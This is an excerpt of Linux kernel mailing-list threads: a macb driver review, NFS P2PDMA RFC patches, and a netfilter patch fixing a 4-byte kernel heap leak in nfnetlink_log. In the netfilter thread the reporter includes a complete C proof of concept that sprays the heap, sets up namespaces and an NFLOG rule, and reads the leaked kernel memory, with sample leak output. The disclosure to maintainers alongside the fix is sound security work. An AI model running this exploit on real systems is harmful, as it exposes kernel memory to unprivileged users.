> - recursive unlocking in devl_rate_unlock is gone.
>
That seems like it would be better, as long as we can prove correctness
of every access. Thanks!
-Jake
^ permalink raw reply
* Re: [PATCH net-next 10/11] net: macb: use context swapping in .set_ringparam()
From: Maxime Chevallier @ 2026-04-01 20:17 UTC (permalink / raw)
To: Théo Lebrun, Nicolas Ferre, Claudiu Beznea, Andrew Lunn,
David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
Richard Cochran, Russell King
Cc: Paolo Valerio, Conor Dooley, Nicolai Buchwitz,
Vladimir Kondratiev, Gregory CLEMENT, Benoît Monin,
Tawfik Bayouk, Thomas Petazzoni, netdev, linux-kernel
In-Reply-To: <20260401-macb-context-v1-10-9590c5ab7272@bootlin.com>
Hi Théo,
this is nice work !
On 01/04/2026 18:39, Théo Lebrun wrote:
> ethtool_ops.set_ringparam() is implemented using the primitive close /
> update ring size / reopen sequence. Under memory pressure this does not
> fly: we free our buffers at close and cannot reallocate new ones at
> open. Also, it triggers a slow PHY reinit.
>
> Instead, exploit the new context mechanism and improve our sequence to:
> - allocate a new context (including buffers) first
> - if it fails, early return without any impact to the interface
> - stop interface
> - update global state (bp, netdev, etc)
> - pass buffer pointers to the hardware
> - start interface
> - free old context.
>
> The HW disable sequence is inspired by macb_reset_hw() but avoids
> (1) setting NCR bit CLRSTAT and (2) clearing register PBUFRXCUT.
>
> The HW re-enable sequence is inspired by macb_mac_link_up(), skipping
> over register writes which would be redundant (because values have not
> changed).
>
> The generic context swapping parts are isolated into helper functions
> macb_context_swap_start|end(), reusable by other operations (change_mtu,
> set_channels, etc).
>
> Signed-off-by: Théo Lebrun <theo.lebrun@bootlin.com>
> ---
> drivers/net/ethernet/cadence/macb_main.c | 89 +++++++++++++++++++++++++++++---
> 1 file changed, 82 insertions(+), 7 deletions(-)
>
> diff --git a/drivers/net/ethernet/cadence/macb_main.c b/drivers/net/ethernet/cadence/macb_main.c
> index 42b19b969f3e..543356554c11 100644
> --- a/drivers/net/ethernet/cadence/macb_main.c
> +++ b/drivers/net/ethernet/cadence/macb_main.c
> @@ -2905,6 +2905,76 @@ static struct macb_context *macb_context_alloc(struct macb *bp,
> return ctx;
> }
>
> +static void macb_context_swap_start(struct macb *bp)
> +{
> + struct macb_queue *queue;
> + unsigned int q;
> + u32 ctrl;
> +
> + /* Disable software Tx, disable HW Tx/Rx and disable NAPI. */
> +
> + netif_tx_disable(bp->netdev);
> +
> + ctrl = macb_readl(bp, NCR);
> + macb_writel(bp, NCR, ctrl & ~(MACB_BIT(RE) | MACB_BIT(TE)));
> +
> + macb_writel(bp, TSR, -1);
> + macb_writel(bp, RSR, -1);
> +
> + for (q = 0, queue = bp->queues; q < bp->num_queues; ++q, ++queue) {
> + queue_writel(queue, IDR, -1);
> + queue_readl(queue, ISR);
> + if (bp->caps & MACB_CAPS_ISR_CLEAR_ON_WRITE)
> + queue_writel(queue, ISR, -1);
> + }
These registers appear to be protected by bp->lock, any chance that this
may race with an interrupt in the middle of them being configured here ?
Maxime
^ permalink raw reply
* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
From: Xiang Mei @ 2026-04-01 20:06 UTC (permalink / raw)
To: netfilter-devel; +Cc: pablo, fw, phil, davem, eric, coreteam, netdev, bestswngs
In-Reply-To: <20260401195735.564488-1-xmei5@asu.edu>
On Wed, Apr 01, 2026 at 12:57:35PM -0700, Xiang Mei wrote:
> When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> helper only zeroes alignment padding after the payload, not the payload
> itself, so four bytes of stale kernel heap data are leaked to userspace
> in the NLMSG_DONE message body.
>
> Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> messages, to prevent leaking kernel heap data to userspace.
>
> Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/netfilter/nfnetlink_log.c | 5 +++++
> 1 file changed, 5 insertions(+)
>
> diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> index fcbe54940b2e..ad4eaf27590e 100644
> --- a/net/netfilter/nfnetlink_log.c
> +++ b/net/netfilter/nfnetlink_log.c
> @@ -361,6 +361,7 @@ static void
> __nfulnl_send(struct nfulnl_instance *inst)
> {
> if (inst->qlen > 1) {
> + struct nfgenmsg *nfmsg;
> struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
> NLMSG_DONE,
> sizeof(struct nfgenmsg),
> @@ -370,6 +371,10 @@ __nfulnl_send(struct nfulnl_instance *inst)
> kfree_skb(inst->skb);
> goto out;
> }
> + nfmsg = nlmsg_data(nlh);
> + nfmsg->nfgen_family = AF_UNSPEC;
> + nfmsg->version = NFNETLINK_V0;
> + nfmsg->res_id = htons(inst->group_num);
> }
> nfnetlink_unicast(inst->skb, inst->net, inst->peer_portid);
> out:
> --
> 2.43.0
>
Thanks for your attention to this bug. It's a 4 bytes uninit heap data
leak vulenrability. A non-root user with ns_capable(ns,CAP_NET_ADMIN)
can trigger the bug. I'll attach the required information to help you
reproduce the bug.
Required Configs:
```
CONFIG_IP_NF_IPTABLES_LEGACY=y
CONFIG_IP_NF_FILTER=y
```
PoC Source Code:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_log.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netfilter/xt_NFLOG.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <fcntl.h>
#define NFLOG_GROUP 100
#define QTHRESHOLD 2
#define NFNL_SUBSYS_ULOG 4
#define ROUNDS 20
/* Dirty the skb slab with non-zero data so the leak is visible */
static void spray_heap(void)
{
struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(9999),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK) };
uint32_t buf[512];
for (int i = 0; i < 512; i++) buf[i] = 0xdeadbeef;
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return;
for (int i = 0; i < 200; i++)
sendto(s, buf, sizeof(buf), MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof(dst));
close(s);
}
/* ---- namespace setup ---- */
static void setup_ns(void)
{
if (unshare(CLONE_NEWUSER) < 0) { perror("unshare(NEWUSER)"); exit(1); }
FILE *f;
f = fopen("/proc/self/setgroups", "w");
if (f) { fprintf(f, "deny"); fclose(f); }
f = fopen("/proc/self/uid_map", "w");
if (f) { fprintf(f, "0 %d 1\n", getuid()); fclose(f); }
f = fopen("/proc/self/gid_map", "w");
if (f) { fprintf(f, "0 %d 1\n", getgid()); fclose(f); }
if (unshare(CLONE_NEWNET) < 0) { perror("unshare(NEWNET)"); exit(1); }
/* bring up loopback */
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr = {0};
strcpy(ifr.ifr_name, "lo");
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
}
/* ---- netlink helpers ---- */
static int nflog_request(int fd, int seq, uint16_t group,
void *attr_buf, int attr_len)
{
char buf[512] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct nfgenmsg));
nlh->nlmsg_type = (NFNL_SUBSYS_ULOG << 8) | NFULNL_MSG_CONFIG;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
struct nfgenmsg *nfg = NLMSG_DATA(nlh);
nfg->nfgen_family = AF_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(group);
if (attr_buf) {
memcpy((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len), attr_buf, attr_len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + attr_len;
}
struct sockaddr_nl dest = { .nl_family = AF_NETLINK };
if (sendto(fd, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&dest, sizeof(dest)) < 0)
return -1;
int len = recv(fd, buf, sizeof(buf), 0);
if (len < 0) return -1;
nlh = (struct nlmsghdr *)buf;
if (nlh->nlmsg_type == NLMSG_ERROR) {
int *err = NLMSG_DATA(nlh);
if (*err) { errno = -*err; return *err; }
}
return 0;
}
/* ---- iptables NFLOG rule via setsockopt ---- */
static int setup_iptables_nflog(void)
{
size_t tgt_sz = XT_ALIGN(sizeof(struct xt_entry_target) + sizeof(struct xt_nflog_info));
size_t acc_sz = XT_ALIGN(sizeof(struct xt_entry_target) + sizeof(int));
size_t acc_ent = sizeof(struct ipt_entry) + acc_sz;
size_t nfl_ent = sizeof(struct ipt_entry) + tgt_sz;
size_t all = acc_ent * 2 + nfl_ent + acc_ent; /* IN + FWD + OUT(nflog+accept) */
size_t tbl_sz = sizeof(struct ipt_replace) + all;
char *tbl = calloc(1, tbl_sz);
if (!tbl) return -1;
struct ipt_replace *r = (struct ipt_replace *)tbl;
strcpy(r->name, "filter");
r->valid_hooks = (1<<NF_INET_LOCAL_IN)|(1<<NF_INET_FORWARD)|(1<<NF_INET_LOCAL_OUT);
r->num_entries = 4;
r->size = all;
r->num_counters = 4;
struct xt_counters ctrs[4] = {0};
r->counters = ctrs;
r->hook_entry[NF_INET_LOCAL_IN] = 0;
r->hook_entry[NF_INET_FORWARD] = acc_ent;
r->hook_entry[NF_INET_LOCAL_OUT] = acc_ent * 2;
r->underflow[NF_INET_LOCAL_IN] = 0;
r->underflow[NF_INET_FORWARD] = acc_ent;
r->underflow[NF_INET_LOCAL_OUT] = acc_ent * 2 + nfl_ent;
char *p = tbl + sizeof(struct ipt_replace);
/* INPUT & FORWARD: ACCEPT */
for (int i = 0; i < 2; i++, p += acc_ent) {
struct ipt_entry *e = (struct ipt_entry *)p;
e->target_offset = sizeof(struct ipt_entry);
e->next_offset = acc_ent;
struct xt_standard_target *t = (void *)p + e->target_offset;
t->target.u.target_size = acc_sz;
t->verdict = -NF_ACCEPT - 1;
}
/* OUTPUT: NFLOG */
{
struct ipt_entry *e = (struct ipt_entry *)p;
e->target_offset = sizeof(struct ipt_entry);
e->next_offset = nfl_ent;
struct xt_entry_target *t = (void *)p + e->target_offset;
t->u.target_size = tgt_sz;
strcpy(t->u.user.name, "NFLOG");
struct xt_nflog_info *ni = (void *)t->data;
ni->group = NFLOG_GROUP;
ni->threshold = QTHRESHOLD;
p += nfl_ent;
}
/* OUTPUT underflow: ACCEPT */
{
struct ipt_entry *e = (struct ipt_entry *)p;
e->target_offset = sizeof(struct ipt_entry);
e->next_offset = acc_ent;
struct xt_standard_target *t = (void *)p + e->target_offset;
t->target.u.target_size = acc_sz;
t->verdict = -NF_ACCEPT - 1;
}
int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd < 0) { free(tbl); return -1; }
int ret = setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, tbl, tbl_sz);
close(fd);
free(tbl);
return ret;
}
int main(void)
{
/* Step 1: user+net namespace */
setup_ns();
/* Step 2: create NFLOG listener, bind group, set qthreshold=2 */
int nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (nlfd < 0) { perror("socket"); return 1; }
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
bind(nlfd, (struct sockaddr *)&sa, sizeof(sa));
/* bind command */
struct { struct nlattr nla; struct nfulnl_msg_config_cmd cmd; }
bind_attr = { { NLA_HDRLEN + sizeof(struct nfulnl_msg_config_cmd),
NFULA_CFG_CMD }, { NFULNL_CFG_CMD_BIND } };
if (nflog_request(nlfd, 1, NFLOG_GROUP, &bind_attr,
NLA_ALIGN(bind_attr.nla.nla_len)) < 0) {
perror("bind group"); return 1;
}
/* set copy mode + qthreshold */
char cfg[64] = {0};
int off = 0;
struct nfulnl_msg_config_mode mode = { .copy_mode = NFULNL_COPY_PACKET,
.copy_range = htonl(0xffff) };
struct nlattr *a = (void *)(cfg + off);
a->nla_len = NLA_HDRLEN + sizeof(mode);
a->nla_type = NFULA_CFG_MODE;
memcpy(cfg + off + NLA_HDRLEN, &mode, sizeof(mode));
off += NLA_ALIGN(a->nla_len);
__be32 qt = htonl(QTHRESHOLD);
a = (void *)(cfg + off);
a->nla_len = NLA_HDRLEN + sizeof(qt);
a->nla_type = NFULA_CFG_QTHRESH;
memcpy(cfg + off + NLA_HDRLEN, &qt, sizeof(qt));
off += NLA_ALIGN(a->nla_len);
if (nflog_request(nlfd, 2, NFLOG_GROUP, cfg, off) < 0) {
perror("set params"); return 1;
}
/* Step 3: install iptables NFLOG rule */
if (setup_iptables_nflog() < 0) {
perror("iptables"); return 1;
}
/* Step 4: send packets and check NLMSG_DONE payloads */
int total_done = 0, total_leaked = 0;
struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(12345),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK) };
struct timeval tv = { .tv_sec = 1 };
setsockopt(nlfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
spray_heap();
for (int round = 0; round < ROUNDS; round++) {
if (round % 5 == 0) spray_heap();
/* generate packets to trigger batching */
int udp = socket(AF_INET, SOCK_DGRAM, 0);
for (int i = 0; i < QTHRESHOLD * 2 + 1; i++)
sendto(udp, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
close(udp);
usleep(50000);
/* read NFLOG messages */
char buf[65536];
for (;;) {
int len = recv(nlfd, buf, sizeof(buf), 0);
if (len <= 0) break;
struct nlmsghdr *nlh = (void *)buf;
int rem = len;
while (NLMSG_OK(nlh, rem)) {
if (nlh->nlmsg_type == NLMSG_DONE) {
total_done++;
unsigned char *p = NLMSG_DATA(nlh);
int plen = nlh->nlmsg_len - NLMSG_HDRLEN;
if (plen >= 4) {
/* accept zero (uninit but clean) and the
properly initialized value as non-leaks */
uint8_t fixed[4] = {0, 0, 0, 0};
*(uint16_t *)(fixed + 2) = htons(NFLOG_GROUP);
if (memcmp(p, "\0\0\0\0", 4) != 0 &&
memcmp(p, fixed, 4) != 0) {
total_leaked++;
printf(" [DONE#%d] %02x %02x %02x %02x"
" - LEAKED!\n", total_done,
p[0], p[1], p[2], p[3]);
}
}
}
nlh = NLMSG_NEXT(nlh, rem);
}
}
}
printf("\nNLMSG_DONE: %d total, %d leaked\n", total_done, total_leaked);
if (total_leaked)
printf("[+] BUG CONFIRMED: %d/%d NLMSG_DONE had uninit heap data\n",
total_leaked, total_done);
else if (total_done)
printf("[*] All NLMSG_DONE payloads were zero (heap was clean)\n");
else
printf("[-] No NLMSG_DONE received\n");
close(nlfd);
return 0;
}
```
Intended Leak:
```
++ su - user -c /tmp/exp/poc
[DONE#49] ef be ad de - LEAKED!
[DONE#50] ef be ad de - LEAKED!
[DONE#51] ef be ad de - LEAKED!
[DONE#52] ef be ad de - LEAKED!
[DONE#53] ef be ad de - LEAKED!
[DONE#54] ef be ad de - LEAKED!
```
Please let me know if you have any questions for the patch and poc.
Thanks,
Xiang
^ permalink raw reply
* [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
From: Xiang Mei @ 2026-04-01 19:57 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, davem, eric, coreteam, netdev, bestswngs,
Xiang Mei
When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
helper only zeroes alignment padding after the payload, not the payload
itself, so four bytes of stale kernel heap data are leaked to userspace
in the NLMSG_DONE message body.
Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
__build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
messages, to prevent leaking kernel heap data to userspace.
Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
net/netfilter/nfnetlink_log.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
index fcbe54940b2e..ad4eaf27590e 100644
--- a/net/netfilter/nfnetlink_log.c
+++ b/net/netfilter/nfnetlink_log.c
@@ -361,6 +361,7 @@ static void
__nfulnl_send(struct nfulnl_instance *inst)
{
if (inst->qlen > 1) {
+ struct nfgenmsg *nfmsg;
struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
NLMSG_DONE,
sizeof(struct nfgenmsg),
@@ -370,6 +371,10 @@ __nfulnl_send(struct nfulnl_instance *inst)
kfree_skb(inst->skb);
goto out;
}
+ nfmsg = nlmsg_data(nlh);
+ nfmsg->nfgen_family = AF_UNSPEC;
+ nfmsg->version = NFNETLINK_V0;
+ nfmsg->res_id = htons(inst->group_num);
}
nfnetlink_unicast(inst->skb, inst->net, inst->peer_portid);
out:
--
2.43.0
^ permalink raw reply related
* [RFC PATCH 4/4] nfs: allow P2PDMA in direct I/O path
From: Pranjal Shrivastava @ 2026-04-01 19:45 UTC (permalink / raw)
To: trond.myklebust, anna
Cc: davem, kuba, edumazet, pabeni, chuck.lever, jlayton, tom,
okorniev, neil, dai.ngo, linux-nfs, netdev, Pranjal Shrivastava
In-Reply-To: <20260401194501.2269200-1-praan@google.com>
Migrate the NFS Direct I/O path from the legacy iov_iter_get_pages_alloc2()
API to the modern iov_iter_extract_pages() API. This migration enables
support for PCI Peer-to-Peer DMA (P2PDMA) by allowing the setting the
ITER_ALLOW_P2PDMA flag.
Pass ITER_ALLOW_P2PDMA to iov_iter_extract_pages() only if the local
mount indicates support via the NFS_CAP_P2PDMA capability bit (detected
at mount time for RDMA transports).
Fix the memory safety bug in the Direct I/O loop where pages were being
unpinned immediately after request creation. Instead, we now leverage
pin-aware nfs_page structures to hold the pins until the I/O is complete
The manual release in the loop is updated to only clean up pages that
failed to be handed over to an nfs_page request.
Signed-off-by: Pranjal Shrivastava <praan@google.com>
---
fs/nfs/direct.c | 51 +++++++++++++++++++++++++++++++++++--------------
1 file changed, 37 insertions(+), 14 deletions(-)
diff --git a/fs/nfs/direct.c b/fs/nfs/direct.c
index c8429b430181..6916541af9db 100644
--- a/fs/nfs/direct.c
+++ b/fs/nfs/direct.c
@@ -165,11 +165,17 @@ int nfs_swap_rw(struct kiocb *iocb, struct iov_iter *iter)
return 0;
}
-static void nfs_direct_release_pages(struct page **pages, unsigned int npages)
+static void nfs_direct_release_pages(struct page **pages, unsigned int npages,
+ bool pinned)
{
unsigned int i;
- for (i = 0; i < npages; i++)
- put_page(pages[i]);
+
+ if (pinned) {
+ unpin_user_pages(pages, npages);
+ } else {
+ for (i = 0; i < npages; i++)
+ put_page(pages[i]);
+ }
}
void nfs_init_cinfo_from_dreq(struct nfs_commit_info *cinfo,
@@ -354,23 +360,30 @@ static ssize_t nfs_direct_read_schedule_iovec(struct nfs_direct_req *dreq,
inode_dio_begin(inode);
while (iov_iter_count(iter)) {
- struct page **pagevec;
+ /* Tell extract pages to allocate the page array */
+ struct page **pagevec = NULL;
size_t bytes;
size_t pgbase;
unsigned npages, i;
+ bool pinned = iov_iter_extract_will_pin(iter);
+ iov_iter_extraction_t extraction_flags = 0;
+
+ if (NFS_SERVER(inode)->caps & NFS_CAP_P2PDMA)
+ extraction_flags |= ITER_ALLOW_P2PDMA;
- result = iov_iter_get_pages_alloc2(iter, &pagevec,
- rsize, &pgbase);
+ result = iov_iter_extract_pages(iter, &pagevec,
+ rsize, ~0U,
+ extraction_flags, &pgbase);
if (result < 0)
break;
-
+
bytes = result;
npages = (result + pgbase + PAGE_SIZE - 1) / PAGE_SIZE;
for (i = 0; i < npages; i++) {
struct nfs_page *req;
unsigned int req_len = min_t(size_t, bytes, PAGE_SIZE - pgbase);
/* XXX do we need to do the eof zeroing found in async_filler? */
- req = nfs_page_create_from_page(dreq->ctx, pagevec[i], false,
+ req = nfs_page_create_from_page(dreq->ctx, pagevec[i], pinned,
pgbase, pos, req_len);
if (IS_ERR(req)) {
result = PTR_ERR(req);
@@ -386,7 +399,8 @@ static ssize_t nfs_direct_read_schedule_iovec(struct nfs_direct_req *dreq,
requested_bytes += req_len;
pos += req_len;
}
- nfs_direct_release_pages(pagevec, npages);
+ if (i < npages)
+ nfs_direct_release_pages(pagevec + i, npages - i, pinned);
kvfree(pagevec);
if (result < 0)
break;
@@ -882,13 +896,21 @@ static ssize_t nfs_direct_write_schedule_iovec(struct nfs_direct_req *dreq,
NFS_I(inode)->write_io += iov_iter_count(iter);
while (iov_iter_count(iter)) {
- struct page **pagevec;
+
+ /* Tell extract pages to allocate the page array */
+ struct page **pagevec = NULL;
size_t bytes;
size_t pgbase;
unsigned npages, i;
+ bool pinned = iov_iter_extract_will_pin(iter);
+ iov_iter_extraction_t extraction_flags = 0;
+
+ if (NFS_SERVER(inode)->caps & NFS_CAP_P2PDMA)
+ extraction_flags |= ITER_ALLOW_P2PDMA;
- result = iov_iter_get_pages_alloc2(iter, &pagevec,
- wsize, &pgbase);
+ result = iov_iter_extract_pages(iter, &pagevec,
+ wsize, ~0U,
+ extraction_flags, &pgbase);
if (result < 0)
break;
@@ -898,7 +920,7 @@ static ssize_t nfs_direct_write_schedule_iovec(struct nfs_direct_req *dreq,
struct nfs_page *req;
unsigned int req_len = min_t(size_t, bytes, PAGE_SIZE - pgbase);
- req = nfs_page_create_from_page(dreq->ctx, pagevec[i], false,
+ req = nfs_page_create_from_page(dreq->ctx, pagevec[i], pinned,
pgbase, pos, req_len);
if (IS_ERR(req)) {
result = PTR_ERR(req);
@@ -942,7 +964,8 @@ static ssize_t nfs_direct_write_schedule_iovec(struct nfs_direct_req *dreq,
desc.pg_error = 0;
defer = true;
}
- nfs_direct_release_pages(pagevec, npages);
+ if (i < npages)
+ nfs_direct_release_pages(pagevec + i, npages - i, pinned);
kvfree(pagevec);
if (result < 0)
break;
--
2.53.0.1185.g05d4b7b318-goog
^ permalink raw reply related
* [RFC PATCH 3/4] nfs: make nfs_page pin-aware
From: Pranjal Shrivastava @ 2026-04-01 19:44 UTC (permalink / raw)
To: trond.myklebust, anna
Cc: davem, kuba, edumazet, pabeni, chuck.lever, jlayton, tom,
okorniev, neil, dai.ngo, linux-nfs, netdev, Pranjal Shrivastava
In-Reply-To: <20260401194501.2269200-1-praan@google.com>
The migration to iov_iter_extract_pages() for Direct I/O introduces
page pinning (GUP) instead of standard page referencing. To handle this
correctly, nfs_page must track whether it holds a pin or a standard
reference.
Add a new flag, PG_PINNED, to struct nfs_page. Update the creation
path (nfs_page_create_from_page) to accept a 'pinned' boolean and
set the flag accordingly. If the page is pinned, we skip the standard
get_page() as the pin itself acts as a reference.
Update nfs_clear_request() to use unpin_user_page() instead of
put_page() when the PG_PINNED flag is set. This ensures that memory
remains safely locked for DMA and that kernel page accounting stays
consistent. Ensure subrequests inherit the pin status from their
parent request.
Signed-off-by: Pranjal Shrivastava <praan@google.com>
---
fs/nfs/direct.c | 4 ++--
fs/nfs/pagelist.c | 18 +++++++++++++-----
include/linux/nfs_page.h | 2 ++
3 files changed, 17 insertions(+), 7 deletions(-)
diff --git a/fs/nfs/direct.c b/fs/nfs/direct.c
index 48d89716193a..c8429b430181 100644
--- a/fs/nfs/direct.c
+++ b/fs/nfs/direct.c
@@ -370,7 +370,7 @@ static ssize_t nfs_direct_read_schedule_iovec(struct nfs_direct_req *dreq,
struct nfs_page *req;
unsigned int req_len = min_t(size_t, bytes, PAGE_SIZE - pgbase);
/* XXX do we need to do the eof zeroing found in async_filler? */
- req = nfs_page_create_from_page(dreq->ctx, pagevec[i],
+ req = nfs_page_create_from_page(dreq->ctx, pagevec[i], false,
pgbase, pos, req_len);
if (IS_ERR(req)) {
result = PTR_ERR(req);
@@ -898,7 +898,7 @@ static ssize_t nfs_direct_write_schedule_iovec(struct nfs_direct_req *dreq,
struct nfs_page *req;
unsigned int req_len = min_t(size_t, bytes, PAGE_SIZE - pgbase);
- req = nfs_page_create_from_page(dreq->ctx, pagevec[i],
+ req = nfs_page_create_from_page(dreq->ctx, pagevec[i], false,
pgbase, pos, req_len);
if (IS_ERR(req)) {
result = PTR_ERR(req);
diff --git a/fs/nfs/pagelist.c b/fs/nfs/pagelist.c
index a9373de891c9..72d3da0fb654 100644
--- a/fs/nfs/pagelist.c
+++ b/fs/nfs/pagelist.c
@@ -413,11 +413,14 @@ static void nfs_page_assign_folio(struct nfs_page *req, struct folio *folio)
}
}
-static void nfs_page_assign_page(struct nfs_page *req, struct page *page)
+static void nfs_page_assign_page(struct nfs_page *req, struct page *page, bool pinned)
{
if (page != NULL) {
req->wb_page = page;
- get_page(page);
+ if (pinned)
+ set_bit(PG_PINNED, &req->wb_flags);
+ else
+ get_page(page);
}
}
@@ -435,6 +438,7 @@ static void nfs_page_assign_page(struct nfs_page *req, struct page *page)
*/
struct nfs_page *nfs_page_create_from_page(struct nfs_open_context *ctx,
struct page *page,
+ bool pinned,
unsigned int pgbase, loff_t offset,
unsigned int count)
{
@@ -446,7 +450,7 @@ struct nfs_page *nfs_page_create_from_page(struct nfs_open_context *ctx,
ret = nfs_page_create(l_ctx, pgbase, offset >> PAGE_SHIFT,
offset_in_page(offset), count);
if (!IS_ERR(ret)) {
- nfs_page_assign_page(ret, page);
+ nfs_page_assign_page(ret, page, pinned);
nfs_page_group_init(ret, NULL);
}
nfs_put_lock_context(l_ctx);
@@ -500,7 +504,8 @@ nfs_create_subreq(struct nfs_page *req,
if (folio)
nfs_page_assign_folio(ret, folio);
else
- nfs_page_assign_page(ret, page);
+ nfs_page_assign_page(ret, page,
+ test_bit(PG_PINNED, &req->wb_flags));
/* find the last request */
for (last = req->wb_head;
last->wb_this_page != req->wb_head;
@@ -556,7 +561,10 @@ static void nfs_clear_request(struct nfs_page *req)
req->wb_folio = NULL;
clear_bit(PG_FOLIO, &req->wb_flags);
} else if (page != NULL) {
- put_page(page);
+ if (test_and_clear_bit(PG_PINNED, &req->wb_flags))
+ unpin_user_page(page);
+ else
+ put_page(page);
req->wb_page = NULL;
}
if (l_ctx != NULL) {
diff --git a/include/linux/nfs_page.h b/include/linux/nfs_page.h
index afe1d8f09d89..cae67540a2ae 100644
--- a/include/linux/nfs_page.h
+++ b/include/linux/nfs_page.h
@@ -37,6 +37,7 @@ enum {
PG_REMOVE, /* page group sync bit in write path */
PG_CONTENDED1, /* Is someone waiting for a lock? */
PG_CONTENDED2, /* Is someone waiting for a lock? */
+ PG_PINNED, /* page is pinned by GUP */
};
struct nfs_inode;
@@ -124,6 +125,7 @@ struct nfs_pageio_descriptor {
extern struct nfs_page *nfs_page_create_from_page(struct nfs_open_context *ctx,
struct page *page,
+ bool pinned,
unsigned int pgbase,
loff_t offset,
unsigned int count);
--
2.53.0.1185.g05d4b7b318-goog
^ permalink raw reply related
* [RFC PATCH 2/4] nfs: add NFS_CAP_P2PDMA and detect transport support
From: Pranjal Shrivastava @ 2026-04-01 19:44 UTC (permalink / raw)
To: trond.myklebust, anna
Cc: davem, kuba, edumazet, pabeni, chuck.lever, jlayton, tom,
okorniev, neil, dai.ngo, linux-nfs, netdev, Pranjal Shrivastava
In-Reply-To: <20260401194501.2269200-1-praan@google.com>
The NFS server capabilities bitmask (server->caps) is currently full,
utilizing all 32 bits of the existing unsigned int. Expand the bitmask
to 64 bits (u64) to allow for new feature flags.
Introduce a new capability bit, NFS_CAP_P2PDMA, to indicate that the
local mount is backed by hardware and a transport capable of PCI
Peer-to-Peer DMA.
Update nfs_server_set_init_caps() to query the underlying SunRPC
transport for P2PDMA support during the mount process. If the transport
(e.g., RDMA) signals support, set the NFS_CAP_P2PDMA bit in the mount's
capabilities. This allows the high-performance Direct I/O path to
efficiently determine if it should allow P2P memory buffers.
Signed-off-by: Pranjal Shrivastava <praan@google.com>
---
fs/nfs/client.c | 8 +++++
fs/nfs/nfs4_fs.h | 2 +-
fs/nfs/super.c | 2 +-
include/linux/nfs_fs_sb.h | 67 ++++++++++++++++++++-------------------
4 files changed, 44 insertions(+), 35 deletions(-)
diff --git a/fs/nfs/client.c b/fs/nfs/client.c
index be02bb227741..f177cf098d44 100644
--- a/fs/nfs/client.c
+++ b/fs/nfs/client.c
@@ -712,6 +712,8 @@ static void nfs4_server_set_init_caps(struct nfs_server *server)
void nfs_server_set_init_caps(struct nfs_server *server)
{
+ struct rpc_xprt *xprt;
+
switch (server->nfs_client->rpc_ops->version) {
case 2:
server->caps = NFS_CAP_HARDLINKS | NFS_CAP_SYMLINKS;
@@ -725,6 +727,12 @@ void nfs_server_set_init_caps(struct nfs_server *server)
nfs4_server_set_init_caps(server);
break;
}
+
+ rcu_read_lock();
+ xprt = rcu_dereference(server->client->cl_xprt);
+ if (xprt->ops->supports_p2pdma && xprt->ops->supports_p2pdma(xprt))
+ server->caps |= NFS_CAP_P2PDMA;
+ rcu_read_unlock();
}
EXPORT_SYMBOL_GPL(nfs_server_set_init_caps);
diff --git a/fs/nfs/nfs4_fs.h b/fs/nfs/nfs4_fs.h
index b48e5b87cb2a..a309cc739fa3 100644
--- a/fs/nfs/nfs4_fs.h
